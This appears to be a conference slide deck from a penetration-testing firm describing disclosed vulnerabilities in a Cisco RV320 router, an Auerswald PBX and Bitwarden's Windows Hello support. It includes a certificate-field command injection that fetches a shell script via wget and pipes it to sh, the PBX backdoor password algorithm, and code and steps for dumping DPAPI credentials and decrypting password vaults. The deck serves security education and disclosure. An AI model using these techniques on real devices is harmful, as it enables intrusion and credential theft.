

Behind the Screens Insights and Stories of Real-World Penetration Testing

Alexander Neumann RedTeam Pentesting GmbH kontakt@redteam-pentesting.de https://www.redteam-pentesting.de

17 June 2024



Disclaimer





Penetration Testing and Me

- ★ RedTeam Pentesting: specialised service provider
- ★ Pentest: Real attack, carried out by a team
- ★ Everything is allowed (sometimes talk to customer before)
- ★ Most important: workshop afterwards



Web-Based Vulnerabilities

★ OWASP TOP 10



Web-Based Vulnerabilities

★ OWASP TOP 10 \Rightarrow boring



Reverse Tabnabbing on Reddit

Video: https://www.reddit.com/r/netsec/comments/bs07rj/why_reverse_ tabnabbing_matters_an_example_on/



- ★ Websites can use postMessage() to send messages
- \star Can be received by other websites opened in the same browser
- ★ If they have a relation



Message Event Handlers

Example: Website with external payment processor and status

```
Payment status: <div id="status">unknown</div>
<script>
window.addEventListener('message', function(msg) {
    document.querySelector("#status").innerHTML = msg.data;
})
</script>
```



Message Event Handlers

Attacker website:



Message Event Handlers - Solution

```
<script>
window.addEventListener('message', function(msg) {
    if (msg.origin !== "https://payment-processor.com") {
        return;
    }
    document.querySelector("#status").innerHTML = msg.data;
})
</script>
```



Network Pentests







- ★ Discovered a Cisco RV320 in a network pentest
- ★ Small business router
- \star Gigabit
- ★ VPN Support
- ★ Sold since 2013, supported until 2023
- ★ Firmware version v1.4.2.17 (Oct. 2017) installed





Portscan (Internal)

```
$ nmap -p 0- -sV -sS -T4 192.168.10.1
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for routera294b2.local (192.168.10.1)
Host is up (0.0025s latency).
Not shown: 65528 closed ports
        STATE SERVICE VERSION
PORT
53/tcp
        open domain
                       dnsmasq 2.40
80/tcp
        open http nginx 1.10.1
443/tcp
              ssl/http nginx 1.10.1
        open
1723/tcp open
                       linux (Firmware: 1)
             pptp
8000/tcp open
             http Apache httpd
8007/tcp open
              http
                      Apache httpd
8008/tcp open
              http
8443/tcp open
              ssl/http Apache httpd
[...]
```



Portscan (External)

```
$ nmap -p 0- -sV -sS -T4 192.168.11.146
Starting Nmap 7.70 ( https://nmap.org )
Nmap scan report for 192.168.11.146
Host is up (0.0010s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
1723/tcp open ptp linux (Firmware: 1)
8007/tcp open http Apache httpd
8008/tcp open http
[...]
```



Firmware Analysis

\$ binwalk RV32X_v1.4.2.17_20171030-code.bin

DECIMAL HEXADECIMAL DESCRIPTION

64 5353552	0x40 0x51B050	ELF, 64-bit MSB MIPS32 rel2 executable, MIPS, Linux kernel version "2.6.32.13-Cavium-Octeon (root@paul-i7-pc) (gcc version 4.3.3 (Cavium Networks Version: 2_0_0 build 99)) #2 SMP Mon Oct 30 15:52"
[] 7143488	0x6D0040	gzip compressed data, maximum compression, from Unix, last modified: 2017-10-30 07:52:30
[] 29360128	3 0x1C00000	CramFS filesystem, big endian size 7122944 version 2 sorted_dirs CRC 0x9E0F53FE, edition 0, 5815 blocks, 1854 files

_ _ _ _ _ _ _ _ _



Firmware Analysis

```
$ tree
 -- cert-bin
    +-- certVerifyLogin.cgi -> ../cgi-bin/userLogin.cgi
+-- cgi-bin
    +-- accesspoint.html
    +-- addcifsbookmark.html
    +-- adddesktopbookmark.html
    +-- addservicesbookmark.html
    +-- anti_arp.bat
    +-- api -> ../../var/
    +-- browser_error.html
    +-- cifs -> singlecifs
    +-- cifs-upload -> singlecifs
    +-- climiterror.html
    +-- compareDB -> single_cgi
    +-- config_adv.exp
    +-- config.exp
    +-- config_mirror.exp
    +-- desktop1.html
```



Testing in Practice

```
$ curl --insecure https://192.168.10.1/cgi-bin/config.exp
####sysconfig####
[VERSION]
VERSION = 73
MODEL = RV320
SSL = 0
IPSEC = 0
PPTP = 0
PLATFORMCODE = RVOXX
[...]
[SYSTEM]
HOSTNAME=router
DOMAINNAME=example.com
DOMATNCHANGE = 1
USERNAME=cisco
PASSWD=066bae9070a9a95b3e03019db131cd40
```

066bae9070a9a95b3e03019db131cd40 = md5("cisco1964300002")



Login Process

Eile Edit View Analyse Report Tools Import Online Help							
Standard Mode 💌 🗋 블 🔚 💷	i 🖻 🍪 💷 🛎 📼 💷 📾 💼 📥 🏄						
History Search	🔁 Alerts 🛛 🕾 Requester 📄 Output 🛛 🕂						
⇔ Request	Response 🖛 🛛 🍪 Sites						
Header: Text Body: Ta	able 💌 🗐 🚍						
User sugent: MO21(42)5 (AII) Accept: text/Iml.application/ Accept: Language: en:US.en:d=0. Content: Type: application/x-ww Content: Length: 343 Content: Neep-alive Referer: https://102.168.0.1/ Referer: https://102.168.0.1/ Referer: https://102.168.0.1/ Not: 192.168.10.1	Lub, ko est (170,0) obc.k0/200002 rife(0000,0) 8,de-DE(q=0.5,de(q=0.3 4,de-DE(q=0.5,de(q=0.3 -form-urlencoded						
Parameter Name	Value						
login	true						
portalname	CommonPortal						
password_expired	0						
auth_key	1964300002						
auth server pw	Y2lzY28=						
md5_old_pass							
langName	ENGLISH, Deutsch, Espanol, Francais, Italiano						
changelanguage							
submitStatus	0						
pdStrength	0						
username	cisco						
password	066bae9070a9a95b3e03019db131cd40						
LanguageList	ENGLISH						
current password							



Reverse Engineering with Ghidra

Ele Edit Analysis Navigation Search Select Tools)	Eie Edit Analysis Navigation Search Select Tools Window Help								
Goto, Gosso tingr	FXXE-1410 POIVENEGTO OF USED								
Program Trees 🔂 🕗 🏷 🗙	Listing: nk_confd_process_v1.4.2.17 - I48 addresses sele 🗋 🕒 😫 🖉 🖨 🖕 🗙 🥵 🕞 v K	10 - X							
* int_confd_process_v1.4.2.17	*nk_confd_process_v1.4.2.17 8	<u>a</u>							
E .bts	1200054br 02 00 20 2d daddu a0.50 zero								
5055	1200054c0 df 99 84 08 ld t0, 03/bf8(co)->->sprintf								
U .soata	1200054c4 66 85 79 30 daddiu a1=>DAT 120007930, s4, 0x7930 }								
got J	1200054c8 24 46 00 01 addiu a2,v0,0x1 else {								
V .rid_map	sprintf(command, "Mr_CA ID %d", cald);								
U .data	kd_doCommand(command(3,0,acStack11152);								
U .jcr	1200054cc 03 20 T8 09 jair twosprintf name_get_value(acStack1152,60AT_120007fd8,6caIdStr,10,0);								
U .dtors	120005400 67 01 00 70								
.ctors	120005400 01 02 00 10 00 00 00 00 00 00 00 00 00 00 00								
Dinote.ABI-tag	12000464 df 9 44 08 1d 10.07/bf8(m)-subsprintf								
🔄 .eh_frame	12000540 67 a7 01 70 daddiu a1, 50,0x370								
🔄 .interp 💌	12000544 64 45 85 b8 daddiu al.v00x7a48 barintf(comand.								
Program Tree X	120005448 67 a8 04 70 daddiu t0.sp.0x470 "opensit reg -new -nodes -subj								
(Trogram Tros	1200054ec df 82 80 48 ld v00x7fb8(gp)=>PTR_120019088	Jut							
Symbol Tree of The X	1200054T0 67 a9 05 70 daddiu tl.sp.0x570 hshs.key.out hshs.csr -newkey rsaihs"								
- 0 III III III III	12000544 67 aa 06 70 dadduu 12,sp.0x070 , countryName,stateOrProvinceName.locality.organization,								
Jv_RegisterClasses	12000545 67 ab 07 70 daddu t3,50,0x70 organizationalUnit,comorName,emailAddres,'/etc/flash/ca/pr	ivate/"							
7 add_to_event_listener	12000540 2 00 02 1 i v0.0/2								
	120005544 67 a3 00 70 daddiu Visto 0x070								
F 📴 CA_C	120005508 67 a4 09 70 daddiu a0, sp. 0x070								
7 cercouput	12000550c 67 b0 00 40 daddiu \$0.5p.0x40 else {								
P Check	r-120005510 16 c2 00 15 bne s6.v0.LAB_120005568 sprintf(command,								
7 close	120005514 67 b3 0a 70 _daddiu s3,sp.0xa70 *opensit reg -new -x509 -nodes -subj								
	120005518 ff a5 00 08 sd al=>s_fetc/flash/ca/private/_12 \'/C=hs/ST=hs/L=hs/O=hs/OU	ut							
Conto cert generate	12000551c df 85 60 48 Ld al., 0X7168(g)==PTR 120019088 hs%s.key out %s%s.pen -days %s -newkey rsa:%s*								
 confid_config_ind_copy confid_config_ind_copy 	12000550 ff as 00 5d V1,000(sp)=0.0ca1.3/00 ,countryName,stateOrProvinceName, locality,organization,								
 f confid file copy 	12000520 61 av 00 20 50 10 addition and sources, rectanged and sources and sou	ivate/							
f confd inf connect	12000552c ff b0 00 10 ad st.local 3670(s)	guilt:							
	120005530 02 20 20 daddu a0,s1,2ero	aldStr.							
Fiter:	120005534 ff b2 00 18 sd s2=>s_/etc/flash/ca/certs/_1200 "/etc/flash/ca/cacerts/".6caldStr);								
	120005538 03 20 f8 09 jalr t9=>sprintf system(command):								
💼 Data Type Manager 🛛 👻 🗙	12000553c ff b0 00 20 _sd s0,local_36e0(sp)format = "%s%s.pem":								
(120005540 df 99 83 78 ld t0,-0x7c88(gp)=>->system }								
an construction (N (K (H)	<pre>izuuusse us zu to us zu t</pre>								
🔻 🚛 Data Types	12000546 02 20 00 20 do dodu dojstvero cert_output(acstackine8);								
BuiltinTypes	120005550 df 85 80 48 1d al. 0x71b8(cp)=>PTR 120019088 = if (Var2 = 1) (
Ønk confd process v1.4.2.17	120005554 02 40 30 2d daddu a2==5_/etc/flash/ca/certs/_1200 messet(acStack1152.0.0xad0);								
h 🖉 nenorie elli 64	120005558 df 99 84 08 ld t9,-0x7bf8(gp)=>->sprintf if (lVar1 == 2) {								
- D gerenc_cno_ou	12000555c 02 00 38 2d daddu a3.s0.zero - memset(auStack5616.0.0xad0);								
	120005560 10 00 00 23 b LA8_120005510 memset(auStack2848.0.0xad0);								
	120003564 64 85 85 0003001U 81=95_5456.C5F_120008500,31,-0X	F							
	V Lin Sanotrop								
		0 // ¥							
	P. Course - Scribtury	20 V. A							



Reverse Engineering with Ghidra





riliulu cisco _{RV320} Gi	nahit Dual WAN VPN R	cisco	English 🗸 Log Out About							
Getting Started Setup Wizard	Certificate Generator									
System Summary	Certificate Generator									
▶ Setup	Type:	Self-Signed Certificate								
► DHCP	1990.	Sen Signed Sensitivate								
 System Management 	Country Name (C):	United States V								
 Port Management 										
Firewall	State or Province Name (ST):	MyState								
▶ VPN	Levelle, Marrie (I.).									
OpenVPN	Locality Name (L):	MyLocality								
Certificate Management	Organization Name (O):	McGraphization								
Trusted IPSec Certificate	Organization Name (O).	myorganization								
OpenVPN Certificate	Organizational Unit Name (OU):	MyUnit								
Certificate Generator										
► Log	Common Name (CN):	a'\$(wget -q -O- http://192.168.10.100:4444/ sh)'b								
User Management										
	Email Address (E):	any@example.com								
	Mar Frankis Land									
	Key Encryption Length:	512 🗸								
	Valid Duration:	30	Days (Range: 1-10950, Default: 30)							
	Save Cancel									
© 2015 Cisco Systems, Inc. All Rig	© 2015 Cisco Systems. Inc. All Rights Reserved.									



Exploitation

Attacker:

On the device:

```
openssl req -new -nodes -subj \
'/C=US/ST=MyState/L=MyLocality/0=MyOrganization/OU=MyUnit
/CN=a'$(wget -q -0- http://192.168.10.100:4444/|sh)'b
/emailAddress=any@example.com/' [...]
```





Diff of nginx.conf:

```
location / {
    root html;
    index index.html index.htm;
+ if ($http_user_agent ~* "curl") {
+    return 403;
+ }
    [...]
}
```



'Fix' by Cisco







Another network pentest;

- ★ Discovered Auerswald PBX (telephone server)
- ★ Login page looked suspicious
- ★ Download and extract firmware, runs Linux
- ★ Binary webserver sounds interesting
- $\star \Rightarrow \mathsf{Ghidra}$



Ghidra

Ele Edit Analysis Graph Navigation Search Seject Iools Window Help							
😑 🗢 • 🔿 • 🐘 🐘 🐘 🐘 🕹 I ID W	↓ FRX ¥ ◎ ~ 油 油 い ⌒	🛛 🗸 👪 🖄 🖽 📾 🗣 👬 💽 🛄 🔶 🗔 🍃 🗄	5 9				
Program Trees 🛛 🔂 🔀 🗙	🖽 Listing: webserver	n 🗈 💽 🖓 👘 🗉	• × [🐰 Defined Strings - 16276 items		😪 🖃 🚬 🗙	
in interversion i		//		Location 🗈 String Value	String Representa	Data Type	
gnu.version		// segment_3.1		.shstrtab::000000shstrtab	".shstrtab"	ds A	
.dynstr		// Loadable segment [0x8000 - 0x38ee03]		.shstrtab::000000interp	".interp"	ds	
.dynsym		// ram:00008000-ram:00008153		.shstrtab::000000note.ABI-ta	g ".note.ABI-tag"	ds	
inash		//		.shstrtab::000000note.gnu.b	uild-id ".note.anu.build-id"	ds	
.note.gnu.build-id	assume spar - Or	0 (Default)		.shstrtab::000000hash	".hash"	ds	
Inote.ABI-tag	assome sport = ou	Elf32 Ehdr. 00008000		shstrtab::000000dvnsvm	".dvnsvm"	ds	
interp .				shstrtab::000000dvnstr	".denstr"	ds	
Segment_3.1				shstrtab::000000	".qnu.version"	ds	
😰 .shstrtab	3 00008000 7f 45 4c	Elf32_Ehdr		shstrtab::000000	r 'anuversion r'	ds	
	46 01 01			shstrtah::000000 pal.chm	" rel dan"	da	
Program Tree ×	01 00 00			shstrtab::0000006f rel pt	i rei olti	ds	
1 m 1 m	00008000 71	db 7Fh	°.	shstrtah::000000 int	1 (0)11	da	
Symbol Tree 🔄 🖄 🗙				shetrtah: 000000 text	1 tout1	de	
► 📴 Imports	00000001 45 44 46	de 10.61		shstrtab::000000 fini	1 finit	ds	
Exports	00008001 40 40	db 1b		shetrtab::000000 radata	1 redata?	de	
E Functions	00008005 01	db 1h		shstrtab::000000 ABM extab	* ABM extab!	de	
> Pa Labels	00008006 01	db 1h		shetdahu0000000 APM exide	* ADM exide?	de	
Cables	00006007 00	db 0h	•	shetstab. 000000. thes	Thee!	de	
Classes	00006008 00	db 0h	e]	shatetab. 000000 itbs	ADSS .	ds	
Image:		00 00 db[7]	•	shatitabilo00000 Int_array	- init_array	ds	
	00 00			shatitab::000000 Inn_array	ann_array	ds	
	00006010 02 00	dv 2h	e. 🗧 🛛	.shstrtabilouoouojcr	-let-	ds	
	00008012 28 00	dv 28h	e	.shstrtab::000000data.rel.ro	data.rel.ro	ds	
Filten	00006014 01 00 00	00 ddy In	1	.shstrtab::000000dynamic	".dynamic"	ds	
The state of the s	00006016 00 61 00	00 ddy Elf32 Phdr ADBAY 00000		shstrtab::000000got	- got-	ds	
Data and the second sec	00008020 ac 4a 39	00 ddy Elf32 Shdr ABBAY alfs		.shstrtab::000000data	".data"	ds	
Data Type Manager 🔍 👻 🗙	00008024 02 00 00	05 ddw 5000002h	è i	.shstrtab::000000bss	".bss"	ds	
(++ + + + + + + + + + + + + + + + + + +	00006028 34 00	dv 34h	• ·	.shstrtab::000000f1 .ARM.attribi	ites ".ARM. attributes"	ds	
T d Data Data	0000602a 20 00	dv 20h	e] 📒 📗	00008001 ELF	"ELF"	ds	
· · · · · · · · · · · · · · · · · · ·	0000802c 09 00	dw 9h	e 👘	00008154 /lib/ld-linux.	io.3 */lib/id-linux.so.3*	ds	
Buittin Types	00006029 28 00	dv 28h	۹. 🚦	00008194 GNU	"GNU"	ds	
Kowebserver	00006030 1d 00	dv 10h	e. 🔒	0000ade5 libfcgl.so.0	"libfcgi.so.0"	ds	
▶ i generic_clib	- 0J008032 1c 00	av tu	°- 🔡	0000adf2gmon_sta	rtgmon_start"	ds	
		1422 Phile ADDAY 00000034		0000ae01 _Jv_Register	Classes "_Jv_RegisterClass	ds	
	T 00008034 01 00 00	Flf32 Ph		0000ae15 _fini	"_fini"	ds	
	70 2c dd			0000ae1b FCGX_VFPri	tF *FCGX_VFPrintF*	ds	
	37 00 2c			0000ae29 FCGX_FFlus	h *FCGX_FFlush*	ds 🔻	
		//		Filten		· 至 ·	
- A		// SHT PROGRITS [0x8154 - 0x8166]	7				
riter:	-	,	•	G Decompile: FUN_0001bccc >	Defined Strings ×		
ð				0001bccc FU	N_0001bccc stmdb sp!	{r4 r5 r6 r7 r8 r9 r	



Ghidra - Strings

🞇 Defined Strings - 5 items	(of 16278)			🕉 🔳 🎦 🗙
Location 🕒	String Value	String Representation	Data Type	
002e1000	sub-admin	"sub-admin"	ds	
002e1dc0	Das Passwort dieses Teil	"Das Passwort dieses Tei	ds	
002e5744	Sub-Admin	"Sub-Admin"	ds	
002ec478	Sub-Administrator	"Sub-Administrator"	ds	
002f1078	Die Passwörter folg	"Die Passwörter fol	ds	
Filter: <mark>sub-admin</mark>				🗶 🖻 🏛 🔹



Ghidra - Comparison Admin User

C _f	Decompile: web_getAccessLevel - (webserver)	\$	🗅 🌌	b	r >	<
549	LAB_0001568c :				1	
550	<pre>puVar4 = (undefined4 *)strcmp((char *)username,"sub-admin");</pre>				- 1	2
551	if (puVar4 == (undefined4 *)0x0) {				- 1	
552	local_Sbe = 0;				- 1	
553	local_5c4 = puVar4;				- 1	
554	local_5e0 = (undefined4 *)				- 8	
555	FUN_001b4444(param_1[2],&local_5c4,&local_5be,"WHERE isSubAdmin=1	");			- 8	
556	if (local_5e0 == (undefined4 *)0x0) {				- 8	
557	<pre>puVar4 = (undefined4 *)(uint)local_5be;</pre>				- 1	
558	if (puVar4 == (undefined4 *)OxO) {					
559	local_5ec = local_5c4;				-	1
560	local_5e0 = puVar4;				- 8	
561	}				- 8	
562	else {				- 8	
563	local_5ec = local_5c4;				1	7



Ghidra - Comparison with "Schandelah"?

C; Decompile: web_getAccessLevel - (webserver)	💿 🌮 📄 🛛 🖉 🖓 🗸
504 puVar4 = input_password;	A
505 LAB_00015930:	
506 if ((uVar9 & (uint)local_5f8) == 0) goto LAB_0001593c;	
507 LAB_00015340:	
<pre>508 iVar10 = strcmp((char *)username, "Schandelah");</pre>	
509 if (iVarlo == 0) {	
<pre>510 gen_password(0,&generated_password);</pre>	
<pre>511 if (input_password == (undefined4 *)0x0) {</pre>	
512 iVar10 = FUN_00121668(*param_1,param_1 + 0x10);	
513 if (iVarl0 != 0) goto LAB_00015ea8;	
514 }	
515 else {	
<pre>516 iVarl0 = strcmp((char *)input_password,(char *)&generated_password);</pre>	
if (iVarlo == 0) {	
LAB_00015ea8:	•



OSINT #1

🖉 W Schandelah – Wikipe	edia × +					~	
\leftrightarrow \rightarrow \bigcirc \bigcirc	de.wikipedia.org/wi	ki/Schandelah			ò	x < ☆ * □ () :	
Star S			2	Nicht angemeldet Dis	kussionsseite Beiträge	Benutzerkonto erstellen Anmelden	
I Q U	Artikel Diskussion	Lesen	Bearbeiten	Quelltext bearbeiten	Versionsgeschichte	Wikipedia durchsuchen Q	
1 All 7					Koordina	ten: 52° 15' 56" N, 10° 41' 15" O 🥥 🞉	
20	Schandela	h					
WIKIPEDIA Dia fraia Enguldană dia	Sentandene						
Die freie Enzykiopaule	Schandelah ist ein Dorf in Niedersachsen, 15 km östlich von						
Heusteelte	Braunschweig gelegen. Schandelah gehört zur Gemeinde Cremlingen im						
Themenportale	Landkreis Wolfenbüt	ttel und hat über	2000 Einw	ohner, einen Bahnhof	,		
Zufälliger Artikel	einen Kindergarten,	eine Grundschu	le und eine	n Sportverein.			
	1.1.1.1.1						
Mitmachen	Inhaltsverzeichnis [Verbergen]						
Artikel verbessern 1 Geographie							
Autorenportal	1.1 Geopunkt J	lurameer Schand	elan		Höhe:	101 m	
Hilfe	2 Geschichte				Einwohner:	2277 (31 Dez 2017) ^[1]	
Letzte Änderungen	3 Politik				Eingemeindur	1 März 1974	





Wirtschaft und Infrastruktur [Bearbeiten | Quelltext bearbeiten]

Unternehmen [Bearbeiten | Quelltext bearbeiten]

Die Firma Auerswald GmbH & Co. KG, ein Hersteller von Telekommunikationsanlagen, unterhält am Ort eine Produktionsstätte.



Ghidra - User "Schandelah"

C _f D	ecompile: web_getAccessLevel - (webserver)	😵 🗅	ŝ.	• 3	×
504	puVar4 = input_password;				
505 LA	B_00015930:			- 1	1
506	if ((uVar9 & (uint)local_5f8) == 0) goto LAB_0001593c;				
507 LA	B_00015340:				
508	iVarl0 = strcmp((char *) <mark>us<mark>ername</mark>,"Schandelah");</mark>				
509	if (iVarl0 == 0) {				
510	gen_password(0,&generated_password);				
511	if (input_password == (undefined4 *)0x0) {				
512	iVarl0 = FUN_00121668(*param_1,param_1 + 0x10);			- 1	
513	if (iVarl0 != 0) goto LAB_00015ea8;				
514	}				
515	else {				
516	iVarl0 = strcmp((char *)input_password,(char *)&generated_password);				
C17	if (iVarl0 == 0) {			- k	
L	B_00015ea8:		 		۳



Ghidra - Password

C	🛿 Decompile: gen_password - (webserver) 🥸 🖓 🔽 👪 🔻 🗙	
1 2 3	/* WARNING: Removing unreachable block (ram,0x00287ac4) */	
4 5 6	<pre>void gen_password(char *pbx_snr,char *dest) {</pre>	
7 8 9	<pre>gen_password2(pbx_snr,0,0,dest); return; }</pre>	
10		



Ghidra - Password #2

f Decompile: gen_password2 - (webserver)



```
2 void gen_password2(char *pbx_snr,int include_lang,uint lang_index,char *dest)
3 
4 {
```

```
58 local_84 = 0;
59 local_80 = 0;
60 lang = 0;
61 if (pbx_snr == (char *)0x0) {
62     pbx_snr = (char *)&local_84;
63     auer_getPbxSerialNumber(pbx_snr,0x21);
64 }
```

```
74 date_string = current_date_as_string(&local_3c,0x10);
75 __snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",date_string,&lang);
76 func_3518(&local_c4,6local_60);
77 auer_strncpy(dest,&local_60,8);
```



43

Ghidra - Mysterious Function

🔓 Decompile: func_3518 - (webserver)

```
2
  void func 3518(char *data src,char *data dest)
3
4
5
6
    size t data src len;
    undefined4 local 94;
7
    undefined4 local 90:
8
    undefined4 local 8c:
32
    local 2c = stack chk guard;
33
    local 90 = 0xefcdab89;
34
    local 94 = 0x67452301;
35
    local 8c = 0x98badcfe;
    local 88 = 0x10325476;
36
37
    data src len = strlen(data src);
    md5 update(&local 94,data src,data src len);
38
39
    md5 finalize(&local 3c,&local 94);
40
    *data dest = "0123456789abcdef"[local_3c >> 4];
    data dest[1] = "0123456789abcdef"[local 3c & 0xf];
41
42
    data dest[2] = "0123456789abcdef"[local 3b >> 4];
```

data dest[3] = "0123456789abcdef"[local 3b & 0xf]:

🎸 | 🗅 | 🌌 | 💼

▼ X



OSINT #2

G 0xefcdab89 - Google	e Search × +			*
← → C △	google.com/search?q=0xefcdab89&	oq=0xefcdab89&aqs=chror	ne69i57.479j0j7&sourc	< 🖈 🕨 🕠 :
Google	0xefcdab89	×	ए । व	()
🔾 All 🖬 Images	🕞 Videos 🛷 Shopping 🛛 🖓 Ma	aps : More	Tools	
About 11.600 results	(0,31 seconds)			
https://stackoverflow.	com > questions > question-on-md			
question on MI	D5 state variables - Stack Ov	verflow		
13 Nov 2009 — I fou	nd out that there are four state variables	(I am not sure what that mea	ins).	
Those variables are	0x67452301 , 0xEFCDAB89 , 0x98BADC	FE, and		
1 answer · Top answ	er: See RFC 1321, section 3.3: 3.3 Step	3. Initialize MD Buffer A four-	wor	
Implementation of MI	D5 in Python - Stack Overflow	28 Feb 2020		
SHA-1 in C on little-e	endian environment - Stack Overflow	23 Nov 2018		
Significance of Hex r	numbers specified in RFC 3174 (SHA-1)	9 Nov 2011		
MD5 Implementation	In Swift - Stack Overflow	12 Jan 2016		



Ghidra - Passwort #2

```
Decompile: gen password2 - (webserver)
                                                                                              🎸 | 🗅 | 🌌 | 💼 i
                                                                                                                    ×
60
    lang = 0;
61
    if (pbx snr == (char *)0x0) {
62
      pbx snr = (char *)&local 84;
      auer getPbxSerialNumber(pbx snr,0x21);
63
64
    if (include lang != 0) {
65
      if (lang index < Ox12) {
66
        __strcpy_chk(&lang,(&language_table)[lang_index],8);
67
68
69
      else {
70
       lang = 0x2e612e6e:
71
        local_28 = local_28 & 0xffffff00;
72
73
74
    date string = current date as string(&local 3c,0x10);
    snprintf_chk(&local_c4,0x40,1,0x40,"%s%s%s%s",pbx_snr,"r2d2",date_string,&lang);
75
76
    md5 as nexstring(&local_c4,&local_60);
77
    auer strncpy(dest,&local 60,8);
78
    if (local_24 == __stack_chk_guard) {
79
      return:
80
    }
81
                       /* WARNING: Subroutine does not return */
             able fail (deat)
```





Password for user Schandelah:

- 1. MD5(serial number + "r2d2" + current date)
- 2. Take the first 7 characters of the hex representation

But: How do we get serial number and current date (of the device)?



Solution

Just ask the device:

```
$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{
    "pbx": "COMpact 5500R",
    "pbxId": 0,
    "version": "Version 7.8A - Build 002 ",
    "serial": "1234123412",
    "date": "30.08.2021",
    [...]
}
```





- \star Auerswald corrected the issue within four weeks
- ★ In contrast to other big manufacturers



Auerswald





Windows Network Pentest

- ★ Target: access and modify files
- ★ Bonus target: compromise the backup systems (not part of the domain)
- ★ Quickly gained domain admin privileges
- ★ Separation is usually not complete:
 - ★ Network access
 - * Password manager (on workstation within Windows domain)



Bitwarden



- ★ Open Source passwort manager
- \star Cloud service or self-hosted



Bitwarden



- ★ Open Source passwort manager
- ★ Cloud service or self-hosted
- * Password database (vault) on Windows is stored at %AppData%\Bitwarden\data.json:

```
"openAtLogin": false,
    "enableBiometrics": true,
    "biometricText": "unlockWithWindowsHello",
    "noAutoPromptBiometricsText": "autoPromptWindowsHello",
    "installedVersion": "2023.3.0",
    [...]
        "avatarColor": null,
        "biometricUnlock": true
    },
    "tokens": {
```



Vault Unlock

Without biometrics: \star Password $\xrightarrow{\text{KDF}}$ Derived Key $\xrightarrow{\text{decrypt}}$ Account Key $\xrightarrow{\text{decrypt}}$ Vault



Vault Unlock

Without biometrics:

★ Password $\xrightarrow{\text{KDF}}$ Derived Key $\xrightarrow{\text{decrypt}}$ Account Key $\xrightarrow{\text{decrypt}}$ Vault

With biometrics:

- \star Unlock
- ★ Get derived key
- ★ OS provides mechanisms:
 - ★ TouchID
 - ★ Windows Hello
 - * ...



Windows Hello



- ★ Supports biometrics (fingerprint, face recognition) or just PIN
- \star Bitwarden: Chosen method is irrelevant \Rightarrow not necessarily biometrics



Bitwarden Windows Hello Implementation

clients /	/ apps / desktop / desktop_native / src / password / windows.rs	clients / apps / desktop_/ desktop_native / src / password / windows.rs		
Code	Blame 🕥 183 lines (153 loc) · 5.24 KB	Code Blame 🕤 183 lines (153 loc) - 5.24 KB		
16	<pre>pub fn get_password<'a>(service: &str, account: &str) -> Result<string> {</string></pre>	<pre>16 pub fn get_password<'a>(service: &str, account: &str) -> Result<string> {</string></pre>		
••• 110	<pre>let result = unsafe { CredWriteW(&credential, θ) };</pre>	<pre>22 let result = unsafe {</pre>		
111	<pre>if !result.as_bool() {</pre>	···· 23 CredReadW(
112	<pre>return Err(anyhow!(unsafe { GetLastError() }.0.to_string()));</pre>	24 PCWSTR(target_name.as_ptr()),		
113	}	25 CRED_TYPE_GENERIC.0,		
114		26 CRED_FLAGS_NONE,		
115	Ok(())	27 credential_ptr,		
116	}	28)		

- ★ That is the wincred-API (based on DPAPI)
- * This API has nothing to do with Biometrics or Windows Hello!



Bitwarden Windows Hello Implementation

clients / apps / desktop / src / main / biometric / biometric.windows.main.ts							
Code Blame 48 lines (40 loc) · 1.53 KB							
	12	<pre>export default class BiometricWindowsMain implements BiometricsServiceAbstraction {</pre>					
	43						
	44	<pre>async authenticateBiometric(): Promise<boolean> {</boolean></pre>					
	45	<pre>const hwnd = this.windowMain.win.getNativeWindowHandle();</pre>					
	46	<pre>return await biometrics.prompt(hwnd, this.il8nservice.t("windowsHelloConsentMessage"));</pre>					
	47	}					



Bitwarden Windows Hello Implementation

clients / apps / desktop / src / main / biometric / biometric.windows.main.ts								
Code Blame 48 lines (40 loc) · 1.53 KB								
	12	<pre>export default class BiometricWindowsMain implements BiometricsServiceAbstraction {</pre>						
	43							
	• 44	<pre>async authenticateBiometric(): Promise<boolean> {</boolean></pre>						
	45	<pre>const hwnd = this.windowMain.win.getNativeWindowHandle();</pre>						
	46	<pre>return await biometrics.prompt(hwnd, this.il8nservice.t("windowsHelloConsentMessage"));</pre>						
	47	}						

 \Rightarrow Derived key is only protected by DPAPI





- ★ Data Protection Application Programming Interface
- ★ Allows programs to store secrets
 - ★ Wi-Fi passwords
 - ★ Browser passwords
 - ★ ...and Bitwarden
- ★ Only protects against other users





★ No password for DPAPI required after login



★ Listing all DPAPI credentials using the wincred API is simple:

* wincred.List() just wraps wincred's CredEnumerateW

```
creds, err := wincred.List()
if err != nil {
    return fmt.Errorf("wincred list: %w", err)
}
for _, cred := range creds {
    credentialBlob, err := decodeUTF16LE(cred.CredentialBlob)
    if err != nil {
        credentialBlob = fmt.Sprintf("%q", string(cred.CredentialBlob))
    }
    fmt.Printf("%s:\n * %s\n", cred.UserName, credentialBlob)
}
```



🔀 Windows PowerShell X + V			×					
Copyright (C) Microsoft Corporation. All rights reserved.								
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows								
PS C:\Users\vagrant> whoami win10vm\vagrant PS C:\Users\vagrant> .\dpapidump.exe ea0b6061-4381-4534-9e91-50cf98753530_masterkey_biometric: * "6PN6Y9wkXjrHvDCijM7fhkNrDL8PI/dc70m9XoSqxDE=" PS C:\Users\vagrant>								







But wait, there's more...

★ If the system is domain-joined, there are backup keys for DPAPI...





Attacker is Domain Admin

- 1. Download files via SMB from workstation
 - ★ Bitwarden vault (%AppData%\Bitwarden\data.json)
 - * Encrypted DPAPI keys (%AppData%\Microsoft\Protect)
 - * Encrypted DPAPI credentials (%AppData%\Microsoft\Credentials)
- 2. Decrypt DPAPI key with backup key from DC
- 3. Decrypt DPAPI credential (Bitwarden key) using DPAPI key
- 4. Decrypt the vault using the Bitwarden key



Bitwarden





Results

- \star DPAPI's threat model is completely different from Bitwarden's
- ★ Unexpected consequences for domain-joined machines
- ★ We talked with Microsoft and Bitwarden (Responsible Disclosure)
- ★ Vulnerability within Bitwarden (mitigated)
- \star The same vulnerability was found independently at least twice





- ★ Teamwork is important
- ★ Build your own tooling
- ★ Know what you are doing
- ★ Ask questions, be curious, learn new things
- ★ Teach others, spread knowledge
- ★ Have fun!





INTERESSIERT? WERDE EINE*R VON UNS!

https://jobs.redteam-pentesting.de

RedTeam Pentesting GmbH Alter Posthof 1 52062 Aachen Deutschland

